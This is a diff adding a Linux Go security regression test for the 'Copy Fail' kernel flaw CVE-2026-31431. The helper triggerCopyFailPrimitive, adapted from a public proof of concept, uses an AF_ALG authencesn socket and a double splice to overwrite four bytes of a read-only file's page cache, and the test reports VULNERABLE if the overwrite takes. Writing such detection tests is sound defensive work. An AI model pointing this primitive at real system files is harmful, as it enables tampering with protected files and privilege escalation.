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+// Copyright 2024 Google LLC.
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//     http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//go:build linux
+// +build linux
+
+package security
+
+import (
+	"bytes"
+	"encoding/hex"
+	"errors"
+	"fmt"
+	"io"
+	"os"
+	"path/filepath"
+	"strings"
+	"testing"
+	"unsafe"
+
+	"golang.org/x/sys/unix"
+)
+
+const (
+	solAlg             = 279
+	algSetKey          = 1
+	algSetIv           = 2
+	algSetOp           = 3
+	algSetAeadAssoclen = 4
+	algSetAeadAuthsize = 5
+)
+
+func packCmsg(level, typ int, data []byte) []byte {
+	cmsgSpace := unix.CmsgSpace(len(data))
+	b := make([]byte, cmsgSpace)
+
+	h := (*unix.Cmsghdr)(unsafe.Pointer(&b[0]))
+	h.Level = int32(level)
+	h.Type = int32(typ)
+	h.SetLen(unix.CmsgLen(len(data)))
+
+	copy(b[unix.CmsgLen(0):], data)
+	return b
+}
+
+// This function is adapted from the public Copy Fail CVE-2026-31431 PoC trigger path:
+// https://github.com/badsectorlabs/copyfail-go/blob/main/main.go
+// triggerCopyFailPrimitive initializes a vulnerable AF_ALG cryptographic socket and injects a precise
+// 4-byte pollution seed via the associated authenticated data (AAD) control stream.
+// It then leverages a zero-copy double-splice pipeline to expose the read-only physical file pages
+// directly as the active cipher destination buffer, mechanically forcing an in-place memory boundary
+// overwrite.
+func triggerCopyFailPrimitive(t *testing.T, f *os.File, marker []byte) error {
+	if len(marker) != 4 {
+		t.Logf("marker validation failed: marker must be exactly 4 bytes, got %d", len(marker))
+		return fmt.Errorf("marker must be exactly 4 bytes, got %d", len(marker))
+	}
+
+	fd, err := unix.Socket(unix.AF_ALG, unix.SOCK_SEQPACKET, 0)
+	if err != nil {
+		t.Logf("create AF_ALG socket failed: %v", err)
+		return fmt.Errorf("create AF_ALG socket: %w", err)
+	}
+	defer unix.Close(fd)
+
+	sa := &unix.SockaddrALG{
+		Type: "aead",
+		Name: "authencesn(hmac(sha256),cbc(aes))",
+	}
+
+	if err := unix.Bind(fd, sa); err != nil {
+		t.Logf("bind AF_ALG aead/authencesn socket failed: %v", err)
+		return fmt.Errorf("bind AF_ALG aead/authencesn socket: %w", err)
+	}
+
+	keyHex := "0800010000000010" + strings.Repeat("0", 64)
+	keyBytes, err := hex.DecodeString(keyHex)
+	if err != nil {
+		t.Logf("decode AF_ALG key hex failed: %v", err)
+		return fmt.Errorf("decode AF_ALG key hex: %w", err)
+	}
+
+	if err := unix.SetsockoptString(fd, solAlg, algSetKey, string(keyBytes)); err != nil {
+		t.Logf("set AF_ALG key failed: %v", err)
+		return fmt.Errorf("set AF_ALG key: %w", err)
+	}
+
+	if err := unix.SetsockoptInt(fd, solAlg, algSetAeadAuthsize, 4); err != nil {
+		t.Logf("set AF_ALG authsize failed: %v", err)
+		return fmt.Errorf("set AF_ALG authsize: %w", err)
+	}
+
+	uFdRaw, _, errno := unix.Syscall6(
+		unix.SYS_ACCEPT4,
+		uintptr(fd),
+		0,
+		0,
+		0,
+		0,
+		0,
+	)
+	if errno != 0 {
+		t.Logf("accept AF_ALG operation socket failed: %v", errno)
+		return fmt.Errorf("accept AF_ALG operation socket: %w", errno)
+	}
+
+	uFd := int(uFdRaw)
+	defer unix.Close(uFd)
+
+	var oob []byte
+
+	oob = append(oob, packCmsg(solAlg, algSetOp, []byte{0, 0, 0, 0})...)
+	oob = append(oob, packCmsg(solAlg, algSetIv, append([]byte{0x10}, make([]byte, 19)...))...)
+	oob = append(oob, packCmsg(solAlg, algSetAeadAssoclen, []byte{8, 0, 0, 0})...)
+
+	msgData := append([]byte("AAAA"), marker...)
+
+	if err := unix.Sendmsg(uFd, msgData, oob, nil, unix.MSG_MORE); err != nil {
+		t.Logf("send AF_ALG message failed: %v", err)
+		return fmt.Errorf("send AF_ALG message: %w", err)
+	}
+
+	var p [2]int
+	if err := unix.Pipe(p[:]); err != nil {
+		t.Logf("create pipe failed: %v", err)
+		return fmt.Errorf("create pipe: %w", err)
+	}
+	defer unix.Close(p[0])
+	defer unix.Close(p[1])
+
+	offset := int64(0)
+	spliceLen := 4
+
+	if _, err := unix.Splice(int(f.Fd()), &offset, p[1], nil, spliceLen, 0); err != nil {
+		t.Logf("splice file to pipe failed: %v", err)
+		return fmt.Errorf("splice file to pipe: %w", err)
+	}
+
+	if _, err := unix.Splice(p[0], nil, uFd, nil, spliceLen, 0); err != nil {
+		t.Logf("splice pipe to AF_ALG socket failed: %v", err)
+		return fmt.Errorf("splice pipe to AF_ALG socket: %w", err)
+	}
+
+	buf := make([]byte, 8)
+	if n, err := unix.Read(uFd, buf); err != nil {
+		if errors.Is(err, unix.EBADMSG) {
+			t.Logf("read AF_ALG output returned EBADMSG/bad message: n=%d err=%v", n, err)
+			t.Logf("continuing to read back target bytes; final decision is based on after == marker")
+			return nil
+		}
+		t.Logf("read AF_ALG output failed: n=%d err=%T %v", n, err, err)
+	}
+
+	t.Logf("triggerCopyFailPrimitive completed successfully")
+	return nil
+}
+
+// TestCopyFailPageCacheOverwrite4Bytes simulates a zero-copy AF_ALG socket splice() attack to detect
+// whether a read-only 4-byte page cache boundary can be illicitly mutated in place..
+func TestCopyFailPageCacheOverwrite4Bytes(t *testing.T) {
+	marker := []byte("BBBB")
+
+	dir := t.TempDir()
+	targetPath := filepath.Join(dir, "readonly-target")
+
+	// Known file contents: before[0:4] should be "AAAA".
+	// If the primitive is still vulnerable, after[0:4] may become "BBBB".
+	original := bytes.Repeat([]byte("A"), 4096)
+
+	if err := os.WriteFile(targetPath, original, 0444); err != nil {
+		t.Fatalf("create target file: %v", err)
+	}
+
+	f, err := os.Open(targetPath)
+	if err != nil {
+		t.Fatalf("open target read-only: %v", err)
+	}
+	defer f.Close()
+
+	before := make([]byte, len(marker))
+	n, err := f.ReadAt(before, 0)
+	if err != nil && err != io.EOF {
+		t.Fatalf("read before bytes: %v", err)
+	}
+	if n != len(marker) {
+		t.Fatalf("read before bytes: got %d bytes, want %d", n, len(marker))
+	}
+
+	t.Logf("before overwrite attempt: %q", before)
+
+	if bytes.Equal(before, marker) {
+		t.Fatalf("test setup invalid: before bytes already equal marker %q", marker)
+	}
+
+	err = triggerCopyFailPrimitive(t, f, marker)
+	if err != nil {
+		if errors.Is(err, unix.ENOENT) ||
+			errors.Is(err, unix.ENODEV) ||
+			errors.Is(err, unix.EAFNOSUPPORT) ||
+			errors.Is(err, unix.EOPNOTSUPP) ||
+			errors.Is(err, unix.ENOPROTOOPT) {
+			t.Skipf("AF_ALG/authencesn path unavailable on this image: %v", err)
+		}
+
+		t.Logf("primitive trigger path did not complete: %v", err)
+		t.Logf("page-cache overwrite not observed")
+		return
+	}
+
+	after := make([]byte, len(marker))
+	n, err = f.ReadAt(after, 0)
+	if err != nil && err != io.EOF {
+		t.Fatalf("read after bytes: %v", err)
+	}
+	if n != len(marker) {
+		t.Fatalf("read after bytes: got %d bytes, want %d", n, len(marker))
+	}
+
+	t.Logf("after overwrite attempt: %q", after)
+
+	if bytes.Equal(after, marker) {
+		t.Fatalf("VULNERABLE: 4-byte page-cache overwrite primitive observed: before=%q after=%q marker=%q", before, after, marker)
+	}
+
+	t.Logf("PASS: 4-byte marker overwrite was not observed: before=%q after=%q marker=%q", before, after, marker)
+}